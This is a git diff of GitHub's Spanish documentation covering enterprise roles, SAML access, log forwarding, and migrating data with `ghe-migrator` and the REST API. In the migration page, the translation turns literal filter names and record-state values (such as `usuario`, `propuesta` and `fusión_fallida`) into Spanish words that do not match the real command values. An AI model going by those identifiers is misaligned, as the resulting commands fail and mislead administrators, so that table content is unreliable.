+Los miembros de las organizaciones que pertenezcan a tu empresa también son miembros de ella automáticamente. Los miembros pueden colaborar en las organizaciones y pueden ser dueños de éstas, pero no pueden configurar ni acceder a los ajustes empresariales{% ifversion ghec %}, including billing settings{% endif %}.
 
-People in your enterprise may have different levels of access to the various organizations owned by your enterprise and to repositories within those organizations. You can view the resources that each person has access to. For more information, see "[Viewing people in your enterprise](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise)."
+Las personas en tu empresa podrían tener niveles de acceso diferentes para las diversas organizaciones que pertenecen a tu empresa y para los repositorios dentro de ellas. Puedes ver los recursos a los que tiene acceso cada persona. Para obtener más información, consulta la sección "[Visualizar a las personas en tu empresa](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise)".
 
 For more information about organization-level permissions, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization)."
 
-People with outside collaborator access to repositories owned by your organization are also listed in your enterprise's People tab, but are not enterprise members and do not have any access to the enterprise. For more information about outside collaborators, see "[Roles in an organization](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)."
+Las personas con acceso de colaborador externo a los repositorios que pertenecen a tu organización también se listan en la pestaña de "Personas" de tu empresa, pero no son miembros empresariales y no tienen ningún tipo de acceso a la empresa. Para obtener más información sobre los colaboradores externos, consulta la sección "[Roles en una organización](/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#outside-collaborators)".
 
 {% ifversion ghec %}
 
-## Billing manager
+## Gerente de facturación
 
-Billing managers only have access to your enterprise's billing settings. Billing managers for your enterprise can:
-- View and manage user licenses, {% data variables.large_files.product_name_short %} packs and other billing settings
-- View a list of billing managers
-- Add or remove other billing managers
+Los gerentes de facturación solo tienen acceso a la configuración de facturación de tu empresa. Los gerentes de facturación de tu empresa pueden:
+- Ver y administrar las licencias de usuario, {% data variables.large_files.product_name_short %} los paquetes y otros parámetros de facturación
+- Ver una lista de gerentes de facturación
+- Agregar o eliminar otros gerentes de facturación
 
-Billing managers will only consume a license if they are an owner or member of at least one organization within the enterprise. Billing managers do not have access to organizations or repositories in your enterprise, and cannot add or remove enterprise owners. Billing managers must have a personal account on {% data variables.product.prodname_dotcom %}.
+Los gerentes de facturación solo consumirán una licencia si son propietarios o miembros de por lo menos una organización dentro de la empresa. Los gerentes de facturación no tienen acceso a las organizaciones o repositorios de tu empresa y no pueden agregar o eliminar propietarios de la misma. Los gerentes de facturación deben tener una cuenta personal en {% data variables.product.prodname_dotcom %}.
 
-## About support entitlements
+## Acerca de los derechos de soporte
 
 {% data reusables.enterprise-accounts.support-entitlements %}
 
-## Further reading
+## Leer más
 
-- "[About enterprise accounts](/admin/overview/about-enterprise-accounts)"
+- "[Acerca de las cuentas de empresa](/admin/overview/about-enterprise-accounts)"
 
 {% endif %}
diff --git a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md
index 08148b0c9f..f64cdf6334 100644
--- a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md
+++ b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/suspending-and-unsuspending-users.md
@@ -1,11 +1,11 @@
 ---
 title: Suspending and unsuspending users
 redirect_from:
-  - /enterprise/admin/articles/suspending-a-user/
-  - /enterprise/admin/articles/unsuspending-a-user/
-  - /enterprise/admin/articles/viewing-suspended-users/
-  - /enterprise/admin/articles/suspended-users/
-  - /enterprise/admin/articles/suspending-and-unsuspending-users/
+  - /enterprise/admin/articles/suspending-a-user
+  - /enterprise/admin/articles/unsuspending-a-user
+  - /enterprise/admin/articles/viewing-suspended-users
+  - /enterprise/admin/articles/suspended-users
+  - /enterprise/admin/articles/suspending-and-unsuspending-users
   - /enterprise/admin/user-management/suspending-and-unsuspending-users
   - /admin/user-management/suspending-and-unsuspending-users
 intro: 'If a user leaves or moves to a different part of the company, you should remove or modify their ability to access {% data variables.product.product_location %}.'
diff --git a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md
index e2d9c2a772..a7076408a8 100644
--- a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md
+++ b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise.md
@@ -2,7 +2,6 @@
 title: Visualizar y administrar el acceso de SAML de un usuario a tu empresa
 intro: 'Puedes ver y revocar la identidad vinculada de un miembro de la empresa, sesiones activas y credenciales autorizadas.'
 permissions: Enterprise owners can view and manage a member's SAML access to an organization.
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise-account/viewing-and-managing-a-users-saml-access-to-your-enterprise-account
@@ -17,7 +16,7 @@ shortTitle: Visualizar & administrar el acceso con SAML
 
 ## Acerca del acceso de SAML a tu cuenta empresarial
 
-When you enable SAML single sign-on for your enterprise account, each enterprise member can link their external identity on your identity provider (IdP) to their existing account on {% data variables.product.product_location %}. {% data reusables.saml.about-saml-access-enterprise-account %}
+Cuando habilitas el inicio de sesión único de SAML para tu cuenta empresarial, cada miembro de la empresa puede vincular su identidad externa en tu proveedor de identidad (IdP) para su cuenta existente de {% data variables.product.product_location %}. {% data reusables.saml.about-saml-access-enterprise-account %}
 
 Si tu empresa utiliza {% data variables.product.prodname_emus %}, tus miembros utilizarán cuentas que se aprovisionen a través de tu IdP. {% data variables.product.prodname_managed_users_caps %} no utilizará su cuenta de usuario existente en {% data variables.product.product_name %}. Para obtener más información, consulta la sección "[Acerca de {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)".
 
diff --git a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md
index 477627f28a..d84d677ab1 100644
--- a/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md
+++ b/translations/es-ES/content/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise.md
@@ -1,7 +1,6 @@
 ---
 title: Viewing people in your enterprise
 intro: 'To audit access to enterprise-owned resources or user license usage, enterprise owners can view every administrator and member of the enterprise.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise-account/viewing-people-in-your-enterprise-account
   - /articles/viewing-people-in-your-enterprise-account
diff --git a/translations/es-ES/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md b/translations/es-ES/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md
index 412479c516..ad2d141908 100644
--- a/translations/es-ES/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md
+++ b/translations/es-ES/content/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-your-enterprise.md
@@ -2,12 +2,12 @@
 title: Exportar los datos de migración de tu empresa
 intro: 'Para cambiar las plataformas o migrarse de una instancia de pruebas a una productiva, puedes exportar los datos de migración de una instancia de {% data variables.product.prodname_ghe_server %} si preparas la instancia, bloqueas los repositorios, y generas un archivo de migración.'
 redirect_from:
-  - /enterprise/admin/guides/migrations/exporting-migration-data-from-github-enterprise/
+  - /enterprise/admin/guides/migrations/exporting-migration-data-from-github-enterprise
   - /enterprise/admin/migrations/exporting-migration-data-from-github-enterprise-server
   - /enterprise/admin/migrations/preparing-the-github-enterprise-server-source-instance
   - /enterprise/admin/migrations/exporting-the-github-enterprise-server-source-repositories
-  - /enterprise/admin/guides/migrations/preparing-the-github-enterprise-source-instance/
-  - /enterprise/admin/guides/migrations/exporting-the-github-enterprise-source-repositories/
+  - /enterprise/admin/guides/migrations/preparing-the-github-enterprise-source-instance
+  - /enterprise/admin/guides/migrations/exporting-the-github-enterprise-source-repositories
   - /enterprise/admin/user-management/exporting-migration-data-from-your-enterprise
   - /admin/user-management/exporting-migration-data-from-your-enterprise
 versions:
diff --git a/translations/es-ES/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md b/translations/es-ES/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md
index 98056ccbf3..e70b16a055 100644
--- a/translations/es-ES/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md
+++ b/translations/es-ES/content/admin/user-management/migrating-data-to-and-from-your-enterprise/index.md
@@ -2,8 +2,8 @@
 title: Migrar los datos desde y hacia tu empresa
 intro: 'Puedes exportar datos de usuario, organización y repositorio desde {% data variables.product.prodname_ghe_server %} o {% data variables.product.prodname_dotcom_the_website %}, y posteriormente importar los datos en {% data variables.product.product_location %}.'
 redirect_from:
-  - /enterprise/admin/articles/moving-a-repository-from-github-com-to-github-enterprise/
-  - /enterprise/admin/categories/migrations-and-upgrades/
+  - /enterprise/admin/articles/moving-a-repository-from-github-com-to-github-enterprise
+  - /enterprise/admin/categories/migrations-and-upgrades
   - /enterprise/admin/migrations/overview
   - /enterprise/admin/user-management/migrating-data-to-and-from-your-enterprise
 versions:
diff --git a/translations/es-ES/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md b/translations/es-ES/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md
index 3737d0e572..c5ef91c997 100644
--- a/translations/es-ES/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md
+++ b/translations/es-ES/content/admin/user-management/migrating-data-to-and-from-your-enterprise/migrating-data-to-your-enterprise.md
@@ -1,15 +1,15 @@
 ---
-title: Migrating data to your enterprise
-intro: 'After generating a migration archive, you can import the data to your target {% data variables.product.prodname_ghe_server %} instance. You''ll be able to review changes for potential conflicts before permanently applying the changes to your target instance.'
+title: Migrar datos a tu empresa
+intro: 'Después de generar un archivo de migración, puedes importar los datos a tu instancia de destino del {% data variables.product.prodname_ghe_server %}. Podrás revisar los cambios para detectar posibles conflictos antes de aplicar de manera permanente los cambios a tu instancia de destino.'
 redirect_from:
-  - /enterprise/admin/guides/migrations/importing-migration-data-to-github-enterprise/
+  - /enterprise/admin/guides/migrations/importing-migration-data-to-github-enterprise
   - /enterprise/admin/migrations/applying-the-imported-data-on-github-enterprise-server
   - /enterprise/admin/migrations/reviewing-migration-data
   - /enterprise/admin/migrations/completing-the-import-on-github-enterprise-server
-  - /enterprise/admin/guides/migrations/applying-the-imported-data-on-github-enterprise/
-  - /enterprise/admin/guides/migrations/reviewing-the-imported-data/
-  - /enterprise/admin/guides/migrations/completing-the-import-on-github-enterprise/
-  - /enterprise/admin/guides/migrations/importing-migration-data-to-github-enterprise-server/
+  - /enterprise/admin/guides/migrations/applying-the-imported-data-on-github-enterprise
+  - /enterprise/admin/guides/migrations/reviewing-the-imported-data
+  - /enterprise/admin/guides/migrations/completing-the-import-on-github-enterprise
+  - /enterprise/admin/guides/migrations/importing-migration-data-to-github-enterprise-server
   - /enterprise/admin/user-management/migrating-data-to-your-enterprise
   - /admin/user-management/migrating-data-to-your-enterprise
 versions:
@@ -18,94 +18,95 @@ type: how_to
 topics:
   - Enterprise
   - Migration
-shortTitle: Import to your enterprise
+shortTitle: Importar hacia tu empresa
 ---
-## Applying the imported data on {% data variables.product.prodname_ghe_server %}
 
-Before you can migrate data to your enterprise, you must prepare the data and resolve any conflicts. For more information, see "[Preparing to migrate data to your enterprise](/admin/user-management/preparing-to-migrate-data-to-your-enterprise)."
+## Aplicar los datos importados en {% data variables.product.prodname_ghe_server %}
 
-After you prepare the data and resolve conflicts, you can apply the imported data on {% data variables.product.product_name %}.
+Antes de que puedas migrar los datos a tu empresa, debes prepararlos y resolver cualquier conflicto. Para obtener más información, consulta la sección "[Cómo prepararte para migrar datos a tu empresa](/admin/user-management/preparing-to-migrate-data-to-your-enterprise)".
+
+Después de que prepares los datos y resuelvas conflictos, puedes aplicar los datos importados en {% data variables.product.product_name %}.
 
 {% data reusables.enterprise_installation.ssh-into-target-instance %}
 
-2. Using the `ghe-migrator import` command, start the import process. You'll need:
-    * Your Migration GUID. For more information, see "[Preparing to migrate data to your enterprise](/admin/user-management/preparing-to-migrate-data-to-your-enterprise)."
-    * Your personal access token for authentication. The personal access token that you use is only for authentication as a site administrator, and does not require any specific scope. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
+2. Con el comando `ghe-migrator import`, inicia el proceso de importación. Necesitarás:
+    * Tu GUID de migración. Para obtener más información, consulta la sección "[Cómo prepararte para migrar datos a tu empresa](/admin/user-management/preparing-to-migrate-data-to-your-enterprise)".
+    * Tu token de acceso personal para autenticación. El token de acceso personal que utilices es solo para autenticación como administrador de sitio, y no requiere ningún alcance específico. Para obtener más información, consulta la sección "[Crear un token de acceso personal](/github/authenticating-to-github/creating-a-personal-access-token)".
 
     ```shell
     $ ghe-migrator import /home/admin/<em>MIGRATION_GUID</em>.tar.gz -g <em>MIGRATION_GUID</em> -u <em>username</em> -p <em>TOKEN</em>
-    
-    > Starting GitHub::Migrator
-    > Import 100% complete /
+
+    > Comenzando con GitHub::Migrador
+    > Importación 100 % completa /
     ```
 
     * {% data reusables.enterprise_migrations.specify-staging-path %}
 
-## Reviewing migration data
+## Revisar datos de migración
 
-By default, `ghe-migrator audit` returns every record. It also allows you to filter records by:
+De forma predeterminada, `ghe-migrator audit` devuelve todos los registros. También te permite filtrar los registros por:
 
-  * The types of records.
-  * The state of the records.
+  * Los tipos de registros.
+  * El estado de los registros.
 
-The record types match those found in the [migrated data](/enterprise/admin/guides/migrations/about-migrations/#migrated-data).
+Los tipos de registro coinciden con los encontrados en los [datos migrados](/enterprise/admin/guides/migrations/about-migrations/#migrated-data).
 
-## Record type filters
+## Filtros de tipo de registro
 
-|      Record type      | Filter name  |
-|-----------------------|--------|
-| Users           | `user`
-| Organizations   | `organization`
-| Repositories    | `repository`
-| Teams           | `team`
-| Milestones      | `milestone`
-| Project boards  | `project`
-| Issues          | `issue`
-| Issue comments  | `issue_comment`
-| Pull requests   | `pull_request`
-| Pull request reviews | `pull_request_review`
-| Commit comments | `commit_comment`
-| Pull request review comments | `pull_request_review_comment`
-| Releases | `release`
-| Actions taken on pull requests or issues | `issue_event`
-| Protected branches | `protected_branch`
+| Tipo de registro                                                | Nombre del filtro                                   |
+| --------------------------------------------------------------- | --------------------------------------------------- |
+| Usuarios                                                        | `usuario`                                           |
+| Organizaciones                                                  | `organization`                                      |
+| Repositorios                                                    | `repositorio`                                       |
+| Equipos                                                         | `equipo`                                            |
+| Hitos                                                           | `hito`                                              |
+| Tableros de proyecto                                            | `project`                                           |
+| Problemas                                                       | `propuesta`                                         |
+| Comentarios de propuestas                                       | `comentario_propuesta`                              |
+| Solicitudes de cambios                                          | `solicitud_extracción`                              |
+| Revisiones de solicitudes de extracción                         | `revisión_solicitud de extracción`                  |
+| Comentarios sobre confirmación de cambios                       | `comentario_confirmación de cambios`                |
+| Comentarios sobre revisiones de solicitudes de extracción       | `comentarios _revisiones_solicitudes de extracción` |
+| Lanzamientos                                                    | `lanzamiento`                                       |
+| Medidas adoptadas en las solicitudes de extracción o propuestas | `evento_propuesta`                                  |
+| Ramas protegidas                                                | `rama_protegida`                                    |
 
-## Record state filters
+## Filtros de estado de registro
 
-| Record state    | Description    |
-|-----------------|----------------|
-| `export`        | The record will be exported. |
-| `import`        | The record will be imported. |
-| `map`           | The record will be mapped. |
-| `rename`        | The record will be renamed. |
-| `merge`         | The record will be merged. |
-| `exported`      | The record was successfully exported. |
-| `imported`      | The record was successfully imported. |
-| `mapped`        | The record was successfully mapped. |
-| `renamed`       | The record was successfully renamed. |
-| `merged`        | The record was successfully merged. |
-| `failed_export` | The record failed to export. |
-| `failed_import` | The record failed to be imported. |
-| `failed_map`    | The record failed to be mapped. |
-| `failed_rename` | The record failed to be renamed. |
-| `failed_merge`  | The record failed to be merged. |
+| Estado de registro    | Descripción                        |
+| --------------------- | ---------------------------------- |
+| `exportar`            | El registro se exportará.          |
+| `importar`            | El registro se importará.          |
+| `map`                 | El registro se asignará.           |
+| `rename (renombrar)`  | El registro se renombrará.         |
+| `fusionar`            | El registro se fusionará.          |
+| `exportado`           | El registro se exportó con éxito.  |
+| `importado`           | El registro se importó con éxito.  |
+| `asignado`            | El registro se asignó con éxito.   |
+| `renombrado`          | El registro se renombró con éxito. |
+| `fusionado`           | El registro se fusionó con éxito.  |
+| `exportación_fallida` | El registro no se pudo exportar.   |
+| `importación_fallida` | El registro no se pudo importar.   |
+| `asignación_fallida`  | El registro no se pudo asignar.    |
+| `renombrar_fallido`   | El registro no se pudo renombrar.  |
+| `fusión_fallida`      | El registro no se pudo fusionar.   |
 
-## Filtering audited records
+## Filtrar registros auditados
 
-With the `ghe-migrator audit` command, you can filter based on the record type using the `-m` flag. Similarly, you can filter on the import state using the `-s` flag. The command looks like this:
+Con el comando de auditoría `ghe-migrator audit` puedes filtrar en función del tipo de registro mediante el indicador `-m`. Del mismo modo, puedes filtrar en el estado de importación mediante el indicador `-s`. El comando se ve de la siguiente manera:
 
 ```shell
 $ ghe-migrator audit -m <em>RECORD_TYPE</em> -s <em>STATE</em> -g <em>MIGRATION_GUID</em>
 ```
 
-For example, to view every successfully imported organization and team, you would enter:
+Por ejemplo, para ver cada organización y equipo importados con éxito, debes ingresar:
 ```shell
 $ ghe-migrator audit -m organization,team -s mapped,renamed -g <em>MIGRATION_GUID</em>
 > model_name,source_url,target_url,state
 > organization,https://gh.source/octo-org/,https://ghe.target/octo-org/,renamed
 ```
 
-**We strongly recommend auditing every import that failed.** To do that, you will enter:
+**Te recomendamos encarecidamente que hagas una auditoría de todas las importaciones que fallaron.** Para ello, ingresa en:
 ```shell
 $ ghe-migrator audit -s failed_import,failed_map,failed_rename,failed_merge -g <em>MIGRATION_GUID</em>
 > model_name,source_url,target_url,state
@@ -113,40 +114,40 @@ $ ghe-migrator audit -s failed_import,failed_map,failed_rename,failed_merge -g <
 > repository,https://gh.source/octo-org/octo-project,https://ghe.target/octo-org/octo-project,failed
 ```
 
-If you have any concerns about failed imports, contact {% data variables.contact.contact_ent_support %}.
+Si tienes alguna duda sobre las importaciones fallidas, comunícate con {% data variables.contact.contact_ent_support %}.
 
-## Completing the import on {% data variables.product.prodname_ghe_server %}
+## Completar la importación en {% data variables.product.prodname_ghe_server %}
 
-After your migration is applied to your target instance and you have reviewed the migration, you''ll unlock the repositories and delete them off the source. Before deleting your source data we recommend waiting around two weeks to ensure that everything is functioning as expected.
+Después de que se aplique tu migración a tu instancia destino y la hayas revisado, desbloquearás los repositorios y los borrarás del origen. Antes de eliminar los datos de origen, se recomienda esperar alrededor de dos semanas para asegurarse de que todo funciona de acuerdo con lo esperado.
 
-## Unlocking repositories on the target instance
+## Desbloquear repositorios en la instancia de destino
 
 {% data reusables.enterprise_installation.ssh-into-instance %}
 {% data reusables.enterprise_migrations.unlocking-on-instances %}
 
-## Unlocking repositories on the source
+## Desbloquear repositorios en el origen
 
-### Unlocking repositories from an organization on {% data variables.product.prodname_dotcom_the_website %}
+### Desbloquear los repositorios de una organización en {% data variables.product.prodname_dotcom_the_website %}
 
-To unlock the repositories on a {% data variables.product.prodname_dotcom_the_website %} organization, you'll send a `DELETE` request to <a href="/rest/reference/migrations#unlock-an-organization-repository" class="dotcom-only">the migration unlock endpoint</a>. You'll need:
-  * Your access token for authentication
-  * The unique `id` of the migration
-  * The name of the repository to unlock
+Para desbloquear los repositorios en una organización{% data variables.product.prodname_dotcom_the_website %}, debes enviar una solicitud de `DELETE` <a href="/rest/reference/migrations#unlock-an-organization-repository" class="dotcom-only">al punto final de desbloqueo de migración</a>. Necesitarás:
+  * Tu token de acceso para autenticación
+  * El `id` único de la migración
+  * El nombre del repositorio a desbloquear
 ```shell
 curl -H "Authorization: token <em>GITHUB_ACCESS_TOKEN</em>" -X DELETE \
   -H "Accept: application/vnd.github.wyandotte-preview+json" \
   https://api.github.com/orgs/<em>orgname</em>/migrations/<em>id</em>/repos/<em>repo_name</em>/lock
 ```
 
-### Deleting repositories from an organization on {% data variables.product.prodname_dotcom_the_website %}
+### Borrar los repositorios de una organización en {% data variables.product.prodname_dotcom_the_website %}
 
-After unlocking the {% data variables.product.prodname_dotcom_the_website %} organization's repositories, you should delete every repository you previously migrated using [the repository delete endpoint](/rest/reference/repos/#delete-a-repository). You'll need your access token for authentication:
+Después de desbloquear los repositorios de organización de {% data variables.product.prodname_dotcom_the_website %} deberás borrar todos los repositorios que migraste previamente utilizando [la terminal de borrado de repositorios](/rest/reference/repos/#delete-a-repository). Necesitarás tu token de acceso para la autenticación:
 ```shell
 curl -H "Authorization: token <em>GITHUB_ACCESS_TOKEN</em>" -X DELETE \
   https://api.github.com/repos/<em>orgname</em>/<em>repo_name</em>
 ```
 
-### Unlocking repositories from a {% data variables.product.prodname_ghe_server %} instance
+### Desbloquear repositorios desde una instancia de {% data variables.product.prodname_ghe_server %}
 
 {% data reusables.enterprise_installation.ssh-into-instance %}
 {% data reusables.enterprise_migrations.unlocking-on-instances %}
diff --git a/translations/es-ES/content/admin/user-management/migrating-data-to-and-from-your-enterprise/preparing-to-migrate-data-to-your-enterprise.md b/translations/es-ES/content/admin/user-management/migrating-data-to-and-from-your-enterprise/preparing-to-migrate-data-to-your-enterprise.md
index 164a3e1a88..eece48a12b 100644
--- a/translations/es-ES/content/admin/user-management/migrating-data-to-and-from-your-enterprise/preparing-to-migrate-data-to-your-enterprise.md
+++ b/translations/es-ES/content/admin/user-management/migrating-data-to-and-from-your-enterprise/preparing-to-migrate-data-to-your-enterprise.md
@@ -6,7 +6,7 @@ redirect_from:
   - /enterprise/admin/migrations/generating-a-list-of-migration-conflicts
   - /enterprise/admin/migrations/reviewing-migration-conflicts
   - /enterprise/admin/migrations/resolving-migration-conflicts-or-setting-up-custom-mappings
-  - /enterprise/admin/guides/migrations/preparing-the-migrated-data-for-import-to-github-enterprise/
+  - /enterprise/admin/guides/migrations/preparing-the-migrated-data-for-import-to-github-enterprise
   - /enterprise/admin/user-management/preparing-to-migrate-data-to-your-enterprise
   - /admin/user-management/preparing-to-migrate-data-to-your-enterprise
 versions:
diff --git a/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/activity-dashboard.md b/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/activity-dashboard.md
index 39d21a826b..5748a46103 100644
--- a/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/activity-dashboard.md
+++ b/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/activity-dashboard.md
@@ -2,7 +2,7 @@
 title: Tablero de actividades
 intro: El tablero de actividades te proporciona un resumen de toda la actividad en tu empresa.
 redirect_from:
-  - /enterprise/admin/articles/activity-dashboard/
+  - /enterprise/admin/articles/activity-dashboard
   - /enterprise/admin/installation/activity-dashboard
   - /enterprise/admin/user-management/activity-dashboard
   - /admin/user-management/activity-dashboard
diff --git a/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/audit-logging.md b/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/audit-logging.md
index 88ddc8b77d..3a8c4537e4 100644
--- a/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/audit-logging.md
+++ b/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/audit-logging.md
@@ -2,7 +2,7 @@
 title: Registro de auditoría
 intro: '{% data variables.product.product_name %} mantiene las bitácoras de los eventos auditados de{% ifversion ghes %} sistemas,{% endif %} usuarios, organizaciones, y repositorios. Los registros son útiles para la depuración y el cumplimiento interno y externo.'
 redirect_from:
-  - /enterprise/admin/articles/audit-logging/
+  - /enterprise/admin/articles/audit-logging
   - /enterprise/admin/installation/audit-logging
   - /enterprise/admin/user-management/audit-logging
   - /admin/user-management/audit-logging
diff --git a/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md b/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md
index 2c57090629..03fa96599c 100644
--- a/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md
+++ b/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/audited-actions.md
@@ -3,7 +3,7 @@ title: Audited actions
 intro: You can search the audit log for a wide variety of actions.
 miniTocMaxHeadingLevel: 3
 redirect_from:
-  - /enterprise/admin/articles/audited-actions/
+  - /enterprise/admin/articles/audited-actions
   - /enterprise/admin/installation/audited-actions
   - /enterprise/admin/user-management/audited-actions
   - /admin/user-management/audited-actions
@@ -129,7 +129,7 @@ Action                     | Description
 `protected_branch.update_require_code_owner_review ` | Enforcement of required code owner review is updated on a branch.
 `protected_branch.dismiss_stale_reviews `   | Enforcement of dismissing stale pull requests is updated on a branch.
 `protected_branch.update_signature_requirement_enforcement_level `    | Enforcement of required commit signing is updated on a branch.
-`protected_branch.update_pull_request_reviews_enforcement_level `     | Enforcement of required pull request reviews is updated on a branch.
+`protected_branch.update_pull_request_reviews_enforcement_level `     | Enforcement of required pull request reviews is updated on a branch. Can be one of `0`(deactivated), `1`(non-admins), `2`(everyone).
 `protected_branch.update_required_status_checks_enforcement_level `   | Enforcement of required status checks is updated on a branch.
 `protected_branch.rejected_ref_update `     | A branch update attempt is rejected.
 `protected_branch.policy_override `         | A branch protection requirement is overridden by a repository administrator.
diff --git a/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/log-forwarding.md b/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/log-forwarding.md
index cc9bf504b9..09aea739e1 100644
--- a/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/log-forwarding.md
+++ b/translations/es-ES/content/admin/user-management/monitoring-activity-in-your-enterprise/log-forwarding.md
@@ -1,8 +1,8 @@
 ---
-title: Log forwarding
-intro: '{% data variables.product.product_name %} uses `syslog-ng` to forward {% ifversion ghes %}system{% elsif ghae %}Git{% endif %} and application logs to the server you specify.'
+title: Redireccionamiento de registro
+intro: '{% data variables.product.product_name %} utiliza `syslog-ng` para reenviar bitácoras de {% ifversion ghes %}sistema{% elsif ghae %}Git{% endif %} y de aplicaciones al servidor que especifiques.'
 redirect_from:
-  - /enterprise/admin/articles/log-forwarding/
+  - /enterprise/admin/articles/log-forwarding
   - /enterprise/admin/installation/log-forwarding
   - /enterprise/admin/enterprise-management/log-forwarding
   - /admin/enterprise-management/log-forwarding
@@ -18,42 +18,35 @@ topics:
   - Security
 ---
 
-## About log forwarding
+## Acerca del reenvío de bitácoras
 
-Any log collection system that supports syslog-style log streams is supported (e.g., [Logstash](http://logstash.net/) and [Splunk](http://docs.splunk.com/Documentation/Splunk/latest/Data/Monitornetworkports)).
+Es compatible cualquier sistema de recopilación de registro que admita los flujos de registro syslog-style (p. ej., [Logstash](http://logstash.net/) y [Splunk](http://docs.splunk.com/Documentation/Splunk/latest/Data/Monitornetworkports)).
 
-When you enable log forwarding, you must upload a CA certificate to encrypt communications between syslog endpoints. Your appliance and the remote syslog server will perform two-way SSL, each providing a certificate to the other and validating the certificate which is received.
+Cuando habilitas el reenvío de bitácoras, debes cargar un certificado de CA para cifrar las comunicaciones entre las terminales de syslog. Tu aplicativo y el servidor remoto de syslog realizará un SSL de dos vías, cada una proporcionará un certificado a la otra y validará el certificado que recibió.
 
-## Enabling log forwarding
+## Habilitar redireccionamiento de registro
 
 {% ifversion ghes %}
-1. On the {% data variables.enterprise.management_console %} settings page, in the left sidebar, click **Monitoring**.
-1. Select **Enable log forwarding**.
-1. In the **Server address** field, type the address of the server to which you want to forward logs. You can specify multiple addresses in a comma-separated list.
-1. In the Protocol drop-down menu, select the protocol to use to communicate with the log server. The protocol will apply to all specified log destinations.
-1. Optionally, select **Enable TLS**. We recommend enabling TLS according to your local security policies, especially if there are untrusted networks between the appliance and any remote log servers. 
-1. To encrypt communication between syslog endpoints, click **Choose File** and choose a CA certificate for the remote syslog server. You should upload a CA bundle containing a concatenation of the certificates of the CAs involved in signing the certificate of the remote log server. The entire certificate chain will be validated, and must terminate in a root certificate. For more information, see [TLS options in the syslog-ng documentation](https://support.oneidentity.com/technical-documents/syslog-ng-open-source-edition/3.16/administration-guide/56#TOPIC-956599).
+1. En la página de parámetros {% data variables.enterprise.management_console %}, en la barra lateral izquierda, haz clic en **(Monitoring) Revisar**.
+1. Selecciona **Enable log forwarding (Habilitar redireccionamiento de registro)**.
+1. En el campo **Server address (Dirección del servidor)**, escribe la dirección del servidor al que desees redireccionar los registros. Puedes especificar varias direcciones en una lista de separación por coma.
+1. En el menú desplegable de Protocolo, selecciona el protocolo a utilizar para que se comunique con el servidor de registro. El protocolo se aplicará a todos los destinos de registro especificados.
+1. Opcionalmente, selecciona **Habilitar TLS**. Te recomendamos habilitar TLS de acuerdo con tus políticas de seguridad locales, especialmente si existen redes no confiables entre el aplicativo y cualquier servidor de bitácoras remoto.
